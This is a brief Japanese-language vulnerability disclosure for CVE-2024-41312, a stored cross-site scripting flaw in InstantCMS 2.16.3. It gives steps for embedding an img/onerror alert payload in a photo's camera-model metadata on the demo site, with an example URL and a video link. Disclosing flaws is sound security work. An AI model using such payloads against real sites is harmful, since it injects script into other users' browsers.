CVE-2024-41312.
InstantCMS - 格納型クロスサイトスクリプティング (XSS)
影響を受けるバージョン: InstantCMS 2.16.3
再現手順:
- デモユーザーとして https://demo.instantcms.io にログインします。
- https://demo.instantcms.io/photos/upload にアクセスします。
- カメラモデル名のメタデータフィールドにペイロードテスト
<img src="https://raw.githubusercontent.com/amal264882/cve-2024-41312./HEAD/asd" onerror="alert(1)"> を埋め込んだ画像をアップロードします。
- https://demo.instantcms.io/photos/camera-{payload} にアクセスします。
- 例: https://demo.instantcms.io/photos/camera-Amal_Test%3Cimg+src=%22asd%22+onerror=%22alert(1)%22%3E
- XSSペイロードが即座に実行されるのが確認できます。
POC:
<a href=https://d.pr/v/DT8Gve>動画 POV